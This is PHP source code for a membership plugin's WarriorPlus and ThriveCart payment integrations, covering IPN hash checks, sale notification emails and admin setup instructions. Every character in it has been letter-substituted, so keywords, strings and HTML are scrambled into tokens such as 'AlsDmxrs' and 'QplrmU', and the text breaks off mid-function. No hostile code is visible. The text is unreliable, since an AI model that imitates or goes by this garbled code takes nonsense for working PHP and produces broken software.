=QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDEoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U xA (xnnBm(SxsAr[QplrmUnvlQplrmU])) { SoBnlum[QplrmUuBkBuQplrmU] = @xsmkFu(SxsAr[QplrmUnvlQplrmU])U } } BunB { SoBnlum = FooFh()U } SnmFmln = sluuU xA (xnnBm(SxsAr[QplrmUDmoFsnFDmxrsQplrmU])) { SnmFmln = SxsAr[QplrmUDmoFsnFDmxrsQplrmU]U } xA (SnmFmln == QplrmU a2cQplrmU || SnmFmln == QplrmUd9e5QplrmU || SnmFmln == QplrmU72$aQplrmU || SnmFmln == QplrmUdf2db4- be744QplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(SkFon, SnBDoBm5Bh) { SoDqm=S_ b&;b$#[QTPMGUDEoBDBxqmQTPMGU]U SmxtB=S_ b&;b$#[QTPMGUmxtBQTPMGU]U SxmBt=S_ b&;b$#[QTPMGUxmBtQTPMGU]U SDEqrq=S_ b&;b$#[QTPMGUDEqrqQTPMGU]U Siiqrq=nyFO(QplrmUSnBDoBm5Bh|SoDqm|SmxtB|SxmBtQplrmU)U Siiqrq=nmomrlqqBo(nlEnmo(Siiqrq,P,H))U xA (SDEqrq==Siiqrq) { oBmlos SkFonU } oBmlos FooFh()U } AlsDmxrs kBoxAh702(Sqrnm, SnBDoBm5Bh) { zurEFu StBtEBozBsxlnU SlsBnDFqB = zBm_tFzxD_plrmBn_zqD()U SAxBuCn = FooFh(QTPMGUDDlnmsFtBQTPMGU, QTPMGUDDlnmBtFxuQTPMGU, QTPMGUDDlnmDDQTPMGU, QTPMGUDDlnmnmFmBQTPMGU, QTPMGUDmoFsnoBDBxqmQTPMGU, QTPMGUDqorCxmBtQTPMGU, QTPMGUDmoFsnFDmxrsQTPMGU, QTPMGUDmoFsnFAAxuxFmBQTPMGU, QTPMGUDmoFsnqlEuxnyBoQTPMGU, QTPMGUDqorCmhqBQTPMGU, QTPMGUDqorCmxmuBQTPMGU, QTPMGUDmoFsnqFhtBsmtBmyrCQTPMGU, QTPMGUDmoFsnFtrlsmQTPMGU, QTPMGUDFAAxmxCQTPMGU, QTPMGUDkBsCmyolQTPMGU, QTPMGUDkBoxAhQTPMGU)U xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==O) { Smyxn-QzmUsrmxAh()U } SkFon = FooFh()U AroBFDy (SAxBuCn Fn SAxBuC) { xA (xnnBm(Sqrnm[SAxBuC])) { SkFon[SAxBuC] = Sqrnm[SAxBuC]U } } Sqrq = QplrmUQplrmUU SxqsaxBuCn = FooFh()U AroBFDy (SkFon f$ SvBh =QzmU SkFulB) { xA (SvBh == QplrmUDkBoxAhQplrmU) { DrsmxslBU } SxqsaxBuCn[] = SvBhU } AroBFDy (SxqsaxBuCn Fn SAxBuC) { xA (SlsBnDFqB) { Sqrq .= nmoxqnuFnyBn(Sqrnm_kFon[SAxBuC]) . QplrmU|QplrmUU } BunB { Sqrq .= SkFon[SAxBuC] . QplrmU|QplrmUU } } Sqrq = Sqrq . SnBDoBm5BhU SDFuDBC!BoxAh = nyFO(tE_DrskBom_BsDrCxsz(Sqrq, QplrmU;#a-HQplrmU))U SDFuDBC!BoxAh = nmomrlqqBo(nlEnmo(SDFuDBC!BoxAh,P,H))U xA (SDFuDBC!BoxAh == SkFon[QplrmUDkBoxAhQplrmU]) { oBmlos SkFonU } oBmlos FooFh()U } qlEuxD AlsDmxrs srmxAh() { SnlEwBDm = QplrmU[702] 6!<rr 2rmxAxDFmxrs 4rzQplrmUU SqoxDB = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUDmoFsnFtrlsmQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUDmoFsnFtrlsmQplrmU])U } xA (SqoxDB == QplrmUQplrmU) { SmyB0oxDB = QplrmUQplrmUU } BunB { SmyB0oxDB = QplrmU QplrmU . sltEBo_ArotFm(SqoxDB, N)U } xA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU a2cQplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUd9e5QplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU72$aQplrmU) { SnlEwBDm .= QplrmU ( ba;2cQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU$f4bQplrmU) { SnlEwBDm .= QplrmU ($f4bQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUe744QplrmU) { SnlEwBDm .= QplrmU ( be744QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUdf2db4- be744QplrmU) { SnlEwBDm .= QplrmU (df2db44f#712QplrmU.SmyB0oxDB.QplrmU)QplrmUU } SqFhtBsmcFmB = PU xA (xnnBm(S_01$#[QplrmUDmoFsnmxtBQplrmU])) { SqFhtBsmcFmB = xsmkFu(S_01$#[QplrmUDmoFsnmxtBQplrmU])U } BunB { SqFhtBsmcFmB = mxtB()U } StBnnFzB = QplrmUf sBj nFuB/oBAlsC jFn qorDBnnBC\o\sAro DlnmrtBo QplrmU.ymtuBsmxmxBn(S_01$#[QplrmUDDlnmBtFxuQplrmU])U xA (SqFhtBsmcFmB) { StBnnFzB .= QplrmU rs QplrmU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SqFhtBsmcFmB).QplrmU Fm QplrmU.CFmB(QplrmUz:x f BQplrmU, SqFhtBsmcFmB)U } StBnnFzB .= QplrmU\o\s\o\scBmFxun:\o\s\o\sQplrmUU AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { StBnnFzB .= SvBh.QTPMGU: QTPMGU.SkFulB.QplrmU\o\sQplrmUU } Smyxn-QzmUBtFxu(SnlEwBDm, StBnnFzB)U } } DuFnn 3BtEBo9BsxlndFom?Fooxro BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SnBDoBm)U xA (xnnBm(S_01$#[QplrmUjFooxroquln_mrvBsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_mrvBsQplrmU, moxt(nmoxqnuFnyBn(S_01$#[QplrmUjFooxroquln_mrvBsQplrmU])))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_jFooxroquln_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_jFooxroquln_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_jFooxroquln_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SxmBtn[SvBh] = SkFulBU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } WQzmUY QumUyMQzmU?Fooxro0uln 0FhtBsmQumU/yMQzmUYY QumUyMQzmU$mBq O: $xzslq jxmy ?Fooxro 0ulnQumU/yMQzmUYY QumUqQzmU BzxnmBo Fs FDDrlsm Fm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jFooxroquln.DrtQplrmUQzmU?Fooxro 0ulnQumU/FQzmU.Y Y QumUyMQzmU$mBq N: doBFmB 2Bj 0orClDmQumU/yMQzmUYY QumUqQzmUfAmBo oBzxnmBoxsz FsC urzzxsz xsmr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jFooxroquln.DrtQplrmUQzmU?Fooxro 0ulnQumU/FQzmU, zr mr QumUDrCBQzmU0orClDmnQumU/DrCBQzmU, QumUDrCBQzmU2Bj 0orClDm.QumU/DrCBQzmUQumU/qQzmUYY QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmU0orClDm 2FtB: QumUDrCBQzmU2FtB rA myB 0orClDmQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUcBuxkBoh ; 4: QumUDrCBQzmUQumUWqyq BDyr yrtB_lou(QplrmU/urzxsQplrmU)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumU/luQzmUYY QumUqQzmU$Doruu Crjs mr QumUDrCBQzmUfCkFsDBC 7smBzoFmxrs.QumU/DrCBQzmUQumU/qQzmUYY QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmU$rAmjFoB: QumUDrCBQzmU?xnyuxnm 3BtEBoQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU?xnyuxnm ; 4: QumUDrCBQzmUQumUWqyq BDyr yrtB_lou()U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUf07 5Bh: QumUDrCBQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU3BtEBonyxq $5;: QumUxQzmU(DyBDv mFEuB EBurj)QumU/xQzmUQumU/uxQzmUY QumUuxQzmU?4 0rnm ; 4: QumUDrCBQzmUQumUWqyq BDyr yrtB_lou()U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU2rmxAxDFmxrs ; 4: QumUDrCBQzmUQumUWqyq BDyr SDyBDvrlmU WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU5Bh 9BsBoFmxrs ; 4: QumUxQzmU(uBFkB EuFsv)QumU/xQzmUQumU/uxQzmUY QumUuxQzmU$BsC 702 #r cBuxkBoh ; 4: QumUDrCBQzmU12QumU/DrCBQzmUQumU/uxQzmUY QumU/luQzmUYY QumUyMQzmU$mBq M: $Bm $BDloxmh 5BhQumU/yMQzmUYY QumUqQzmU7s ?Fooxro0uln, DuxDv rs hrlo lnBosFtB rs myB mrq oxzym, FsC xs myB CorqCrjs, DyrrnB QumUDrCBQzmUfDDrlsm $BmmxsznQumU/DrCBQzmU.QumU/qQzmUY Y QumUqQzmU#yBs DuxDv QumUDrCBQzmU$BDloxmh 5BhQumU/DrCBQzmU FsC xA hrl CrsQTPMGUm yFkB F nBDloxmh vBh nBm, DuxDv myB uxsv myFm nFhn QumUDrCBQzmUduxDv yBoB mr DoBFmB F ?Fooxro+0uln $BDloxmh vBh.QumU/DrCBQzmUQumU/qQzmUY Y QumUqQzmUdrqh FsC qFnmB hrlo nBDloxmh vBh Aort ?Fooxro0uln, BsmBo xm EBurj, FsC DuxDv $FkB.QumU/qQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUjFooxroquln_mrvBsQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUMKQplrmU /QzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB ?Fooxro0uln $BDloxmh 5BhQplrmU /QzmUQumU/qQzmUYY QumUyMQzmU$mBq L: $qBDxAh 3BtEBonyxq $5; QFtqUFtqU 0rnm ; 4QumU/yMQzmUYY QumUqQzmU7s myB mFEuB EBurj, DyrrnB jyxDy tBtEBonyxq uBkBu hrlQTPMGUoB zoFsmxsz FDDBnn mr. eFnBC rs myFm, Drqh myB QumUDrCBQzmU3BtEBonyxq $5;QumU/DrCBQzmU FsC QumUDrCBQzmU?4 0rnm ; 4QumU/DrCBQzmU xsmr ?Fooxro0uln FsC DuxDv QumUDrCBQzmU$FkBQumU/DrCBQzmU.YY QumUyMQzmU$mBq K: drqh 0orClDm drCB Aort ?Fooxro0ulnQumU/yMQzmUYY QumUqQzmUaxsFuuh, Drqh myB 0orClDm drCB (Aort myB mrq rA myB ?Fooxro0uln qFzB, FErkB QFtqUplrmU0orClDm 2FtBQFtqUplrmU) FsC qFnmB xm xs myB mFEuB EBurj mr tFmDy myB DrooBnqrsCxsz uBkBu myFm hrlo qorClDm oBuFmBn mr.QumUqQzmUY Y QumUqQzmU#yBs DuxDv QumUDrCBQzmU$FkB ?Fooxro0uln 0orClDm drCBn.QumU/DrCBQzmU #yxn xn sBDBnnFoh mr yFsCuB oBAlsCn.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:NKPqiUQplrmUQzmU4BkBu mr 0orkxCB fDDBnn #r...QumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OKPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmU3BtEBonyxq $5;QumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:MPPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmU0orClDm drCBQumUEo /QzmUQumUntFuuQzmU(Aort ?Fooxro 0uln, x.B. QumUDrCBQzmUjnr_qOFEDOQumU/DrCBQzmU)QumU/ntFuuQzmUQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } WQzmUY QumUmoQzmUY QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUOPQplrmU sFtB=QplrmUtBtEBozBsxln_jFooxroquln_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB ?Fooxro0uln 0orClDm drCBnQplrmU /QzmUQumU/qQzmUY QumUWqyqY } AlsDmxrs kBoxAh() { xA (xnnBm(S_01$#[QplrmU bdb7!b e;$72b$$QplrmU])) { oBmlos Smyxn-QzmUkBoxAh702()U } oBmlos sluuU } AlsDmxrs kBoxAh702() { zurEFu StBtEBozBsxlnU SxsAr = sluuU SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_mrvBsQplrmU)U xA (VSmrvBs) { oBmlosU } xA (VxnnBm(S_01$#[QplrmU?0_fd#712QplrmU]) || VxnnBm(S_01$#[QplrmU?0_$bd; 7#QplrmU.Dyo(HG).QplrmU5bQplrmU.Dyo(HG)]) || VxnnBm(S_01$#[QplrmU?0_7#b3_2;3eb QplrmU]) || VxnnBm(S_01$#[QplrmU?0_7#b3_2;3eb QplrmU]) || VxnnBm(S_01$#[QplrmU?0_$bd; 7#QplrmU.Dyo(HG).QplrmU5bQplrmU.Dyo(HG)])) { oBmlosU } xA (S_01$#[QplrmU?0_$bd; 7#QplrmU.Dyo(HG).QplrmU5bQplrmU.Dyo(HG)] V= SmrvBs) { oBmlosU } SxmBt = S_01$#[QplrmU?0_7#b3_2;3eb QplrmU]U SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUjFooxroquln_xmBtnQplrmU)U SuBkBu = FooFh_nBFoDy(SxmBt, SxmBtn)U xA (VSuBkBu) { oBmlosU } SoBnlum = FooFh( QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU, QplrmUAxonmsFtBQplrmU =QzmU S_01$#[QplrmUa7 $#2f3bQplrmU], QplrmUuFnmsFtBQplrmU =QzmU S_01$#[QplrmU4f$#2f3bQplrmU], QplrmUBtFxuQplrmU =QzmU S_01$#[QplrmUb3f74QplrmU], QplrmUlnBosFtBQplrmU =QzmU S_01$#[QplrmUb3f74QplrmU], QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUmoFsnFDmxrsQplrmU =QzmU S_01$#[QplrmU?0_#>27cQplrmU] )U SFDmxrs = S_01$#[QplrmU?0_fd#712QplrmU]U xA (SFDmxrs == QplrmUoBAlsCQplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU oBmlos SoBnlumU } oBmlos SoBnlumU } } DuFnn 3BtEBo9BsxlndFom#yoxkB BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUmyoxkBDFom_mrvBsQplrmU])) { SmrvBs = moxt(S_01$#[QplrmUmyoxkBDFom_mrvBsQplrmU])U xA (VSmrvBs) { SmrvBs = sluuU } SmrvBs = nmomrlqqBo(moxt(nmoxqnuFnyBn(SmrvBs)))U SmrvBs = qoBz_oBquFDB(QTPMGU@[^f-<P-G]@nxQTPMGU, QTPMGUQTPMGU, SmrvBs)U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU, SmrvBs)U } SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU)U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SnBDoBm)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_myoxkBDFom_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_myoxkBDFom_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_myoxkBDFom_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SkFulB = @xsmkFu(SkFulB)U xA (SkFulB QzmU P) { SxmBtn[SvBh] = SkFulBU } } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } WQzmUY QumUyMQzmU#yoxkBdFom 0FhtBsmQumU/yMQzmUYY QumUyMQzmU$mBq O: $xzs ;q jxmy #yoxkBdFomQumU/yMQzmUYY QumUqQzmU BzxnmBo Fs FDDrlsm Fm: QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://NFt--DyBDvrlm.myoxkBDFom.Drt/myoxkBDFom-nmFsCFoC-FDDrlsm/QplrmUQzmU#yoxkBdFomQumU/FQzmU (uxABmxtB FDDrlsm)QumU/qQzmUYY QumUyMQzmU$mBq N: $Bm $BDoBm ?roC (mr 0orDBnn 0FhtBsmn)QumU/yMQzmUYY QumUqQzmU4rzxs hrlo #yoxkBdFom FDDrlsm, DuxDv myB xDrs rs myB mrq oxzym, DyrrnB $Bmmxszn xs myB CorqCrjs tBsl, f07 QFtqUFtqU ?BEyrrvn, #yoxkBdFom f07, !xBj $Bmmxszn, qFnmB myB $BDoBm ?roC EBurj, FsC DuxDv $FkB.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUmyoxkBDFom_mrvBsQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SmrvBs)U WQzmUQplrmU nxgB=QplrmUMKQplrmU /QzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB #yoxkBdFom $BDoBm ?roCQplrmU /QzmUY QumU/EurDvplrmBQzmUYY QumUWqyq xA (SmrvBs): WQzmUY QumUyMQzmU$mBq M: $Bm $lDDBnn ; 4(mr 8FsCuB 0loDyFnBn)QumU/yMQzmUYY QumUqQzmUbCxm myB qorClDm hrl jFsm mr nBuu (QumUDrCBQzmU0orClDmnQumU/DrCBQzmU Fm myB mrq -- myBs AxsC hrlo qorClDm FsC DuxDv myB QumUDrCBQzmUbCxmQumU/DrCBQzmU Elmmrs lsCBo xm), DyrrnB myB QumUDrCBQzmUaluAxuutBsmQumU/DrCBQzmU mFE Fm myB mrq.QumU/qQzmUYY QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmU?yFm nyrluC yFqqBs FAmBo qloDyFnBW $Bm mr QumUDrCBQzmU$BsC myBt mr F ; 4QumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU$lDBnn ; 4: $Bm mr QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmU; 4 BiqxoFmxrs: QumUDrCBQzmU2BkBoQumU/DrCBQzmUQumU/uxQzmUY QumUuxQzmUduxDv QumUDrCBQzmU$FkB QFtqUFtqU 9Bm ; 4QumU/DrCBQzmU mr nFkB hrlo DyFszBnQumU/uxQzmUY QumU/luQzmU YY QumUyMQzmU$mBq L: $Bm ?BEyrrv (mr 8FsCuB BAlsCn)QumU/yMQzmUYY QumUqQzmU7s hrlo #yoxkBdFom FDDrlsm, DuxDv myB mrq oxzym xDrs, DyrrnB $Bmmxszn, f07 QFtqUFtqU ?BEyrrvn, ?BEyrrvn QFtqUFtqU 2rmxAxDFmxrsn, !xBj $Bmmxszn, fCC fsrmyBo ?BEyrrv.QumU/qQzmUYY QumUqQzmUaro myB ?BEyrrv ; 4 QumUDrCBQzmU2FtBQumU/DrCBQzmU, BsmBo myB sFtB rA myxn jBEnxmB, x.B. QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QTPMGUEurzsFtBQTPMGU))U WQzmUQumU/DrCBQzmU -- myxn xn rsuh Aro hrlo oBABoBsDB.QumU/qQzmUY Y QumUqQzmUbsmBo myxn jBE FCCoBnn Aro hrlo jBE yrrv:QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_srmxAhQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_srmxAhQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq K: 3FmDy #yoxkBdFom 0orClDm 7cn mr 3BtEBonyxq 4BkBunQumU/yMQzmUYY QumUqQzmU7s #yoxkBdFom, DuxDv QumUDrCBQzmU0orClDmnQumU/DrCBQzmU (Fm myB mrq), AxsC myB qorClDm hrl jFsm mr tFmDy lq mr myxn jBEnxmB, FsC urDFmB myB qorClDm 7c. 4rrv Fm myB jBE FCCoBnn DFoBAluuh jyBs hrl BCxm myB qorClDm:QumU/qQzmUYY QumUqQzmUQumUDrCBQzmUymmqn://myoxkBDFom.Drt/hrloFDDrlsmsFtB/T/qorClDmn/ONMQumU/DrCBQzmUQumU/qQzmUYY QumUqQzmU#yB sltEBo Fm myB BsC rA myFm jBE FCCoBnn xn myB qorClDm 7c. 0FnmB xm xs myB mFEuB EBurj.QumU/qQzmUY Y QumUEurDvplrmBQzmUY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:NKPqiUQplrmUQzmU4BkBu mr 0orkxCB fDDBnn #r...QumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:MPPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmU0orClDm 7cQumUEo /QzmUQumUntFuuQzmU(Aort #yoxkBdFom, x.B. QumUDrCBQzmUOPQumU/DrCBQzmU)QumU/ntFuuQzmUQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } WQzmUY QumUmoQzmUY QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUOPQplrmU sFtB=QplrmUtBtEBozBsxln_myoxkBDFom_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB #yoxkBdFom 0orClDm 2FtBnQplrmU /QzmUQumU/qQzmUY QumUWqyq BunB: WQzmUY QumUqQzmU$Bm hrlo #yoxkBdFom nBDoBm jroC EBAroB Drsmxslxsz.QumU/qQzmUY QumUWqyq BsCxAU WQzmUY QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SoBnlum = sluuU xA (xnnBm(S_01$#[QTPMGUmyoxkBDFom_FDDrlsmQTPMGU]) QFtqUQFtqU xnnBm(S_01$#[QTPMGUmyoxkBDFom_nBDoBmQTPMGU]) QFtqUQFtqU xnnBm(S_01$#[QTPMGUBkBsmQTPMGU])) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU)U SoBnlum = Smyxn-QzmUkBoxAh702(S_01$#, SmrvBs)U } BunBxA (xnnBm(S_9b#[QTPMGUmyoxkBDFomQTPMGU]) QFtqUQFtqU xnnBm(S_9b#[QTPMGUmyoxkBDFom_yFnyQTPMGU])) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUmyoxkBDFom_mrvBsQplrmU)U SoBnlum = Smyxn-QzmUkBoxAh0c#(S_9b#[QTPMGUmyoxkBDFomQTPMGU], S_9b#[QTPMGUmyoxkBDFom_yFnyQTPMGU], SmrvBs)U } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(SkFon, SyFny, SmrvBs) { zurEFu StBtEBozBsxlnU xA (Btqmh(SyFny) || nmouBs(SyFny) V== MN) { oBmlos sluuU } xA (VSmrvBs) { oBmlos sluuU } vnrom(SkFon)U FooFh_jFuv_oBDlonxkB(SkFon, 